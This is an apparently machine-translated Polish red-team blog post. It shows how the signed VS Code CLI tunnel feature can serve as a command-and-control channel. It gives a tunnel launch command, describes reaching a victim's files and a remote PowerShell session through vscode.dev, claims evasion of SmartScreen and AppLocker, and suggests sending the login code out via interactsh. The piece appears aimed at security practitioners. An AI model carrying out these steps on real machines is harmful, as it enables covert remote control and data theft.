Let's Go (VS) Code — styl Red Team

Podpisany i hostowany przez firmę Microsoft Reverse Shell code.exe dzięki Visual Studio

MS oferuje podpisany plik binarny (code.exe), który ustanowi kanał Command&Control za pośrednictwem oficjalnej domeny Microsoft https://vscode.dev. Sama komunikacja C2 idzie do https://global.rel.tunnels.api.visualstudio.com przez WebSockets. Atakujący potrzebuje tylko konta Github.

https://badoption.eu/docs/blog/2023/01/31/code_c2.html

Ostatnio przeglądałem dokumentację MS i natknąłem się na te dwie strony.

https://code.visualstudio.com/docs/remote/tunnels

https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

Dokumentacja tuneli VSCode

Więc co my tu mamy? VSCode jest w stanie nawiązać połączenie ze zdalnym systemem.

• Dobra, dobrze, ponieważ zdalne debuggery nie są nowe, nie tak ekscytujące, ale wszystko się poprawi.

Na końcu strony coś sprawia, iż ​​rzeczy stają się trochę bardziej ekscytujące. Using the 'code' CLI

Dobra, jest do tego przenośny plik binarny, fajnie.

This CLI will output a vscode.dev URL tied to this remote machine, such as https://vscode.dev/tunnel/<machine_name>/<folder_name>. You can open this URL on a client of your choosing.

Dobra, jest domena MS, hosting kanału C2, sytuacja się poprawia. Plik binarny VSCode jest również zgodny z proxy i przenośny.

Działanie

Jeśli otrzymamy wykonanie kodu na kliencie i tutaj po prostu założymy, iż to mamy, możemy wprowadzić przenośną wersję VSCode, kod CLI. Jeśli VSCode jest już zainstalowany, możemy po prostu trzymać się zainstalowanej wersji, nie ma to znaczenia. Zanurzmy się w krokach.

Przygotuj klienta

• Pobierz plik binarny na kliencie stąd: https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64

Ponieważ plik binarny jest podpisany przez Microsoft, nie musimy zajmować się Mark-of-the-Web, ponieważ zostanie on zignorowany, a także ominiemy Smartscreen. W połączeniu z niektórymi sztuczkami, które zobaczymy później, ominiemy także Applocker i Powershell Constrained Language Mode, jeżeli są w domyślnej konfiguracji.

Certyfikat pliku binarnego jest następujący: Code.exe podpisany przez MS

• Uruchom plik binarny na kliencie.

• Postępujemy zgodnie z instrukcjami i otwieramy podany adres URL w naszym systemie atakującym. Zobaczymy uwierzytelnianie kodu urządzenia, znane z Azure. Uwierzytelnianie kodu urządzenia Github

• Następnie zostanie ustanowiony tunel kodu.

Połącz przez przeglądarkę lub VSCode

Robimy więc, co nam kazano, i otwieramy stronę w przeglądarce na naszej maszynie atakującego.

Otrzymujemy ładny projekt roboczy na maszynie ofiary. Poprzez adres URL możemy kontrolować ścieżkę, co oznacza, iż ​​jeśli użyjemy po prostu C: uzyskamy dostęp do wszystkich plików w systemie, w granicach uprawnień użytkownika. Więc otwórz https://vscode.dev/tunnel/itsmeC2/C: i dodaj C: do obszaru roboczego.

Przeglądarka plików w miejscu docelowym

Fajnie, możemy zdalnie przeglądać, czytać i edytować wszystkie pliki.

Przeglądanie plików jest przyjemne, ale co z wykonywaniem poleceń? Po prostu mówimy: Menue -> Terminal -> New Terminal Remote Powershell session

i otrzymujemy fajną zdalną sesję Powershell na kliencie.

Remoteshell ma wszystko, czego chcemy

• Dostęp do historii
• Podświetlanie składni
• Zakończenie karty
• Kontrola pracy - czyli interaktywna

Jest to dość responsywna, użyteczna zdalna sesja PowerShell.

Oprócz sesji Powershell istnieje kilka dodatkowych możliwości, takich jak uruchomienie zadania, „Uruchom i debuguj” plik lub możemy wykonać lokalne przekierowanie portów.

Fajną funkcją jest instalacja rozszerzeń na zdalnym hoście.

Na przykład możemy teraz uruchamiać niektóre skrypty Pythona, jeżeli Python był zainstalowany na głównej maszynie. Jedno zastrzeżenie jest takie, iż musimy zapisać plik na dysku, ale można to obejść. Uruchamianie Pythona dzięki zdalnie zainstalowanego rozszerzenia

Łączenie się przez VSCode Desktop jest proste, potrzebujesz tylko rozszerzenia, jak podano w oficjalnym MS Blogpost.

Zbuduj łańcuch ataków

Spróbujmy zbudować kompletny łańcuch ataków. Najpierw powinniśmy sprawdzić, czy możemy pozbyć się interaktywnej części uruchamiania tunelu i podać parametry w wierszu poleceń.

Możemy podać nazwę, aby uzyskać stałą nazwę instancji dla naszej sesji: .\code.exe tunnel --name itsmeC2V2

Następnie pojawia się problem z uwierzytelnieniem. Jeśli chodzi o https://github.com/microsoft/vscode/issues/170013 , musimy użyć tokena odświeżania Github OAuth do uwierzytelnienia.

Nie udało mi się uruchomić uwierzytelniania tokena Github OAuth, więc konieczny był dodatkowy krok, wysyłając kod urządzenia do usługi takiej jak https://app.interactsh.com/#/

Bardzo prosty łańcuch, bez zaciemniania, mógłby wyglądać mniej więcej tak.

Możemy zbudować skrót, aby uruchomić łańcuch.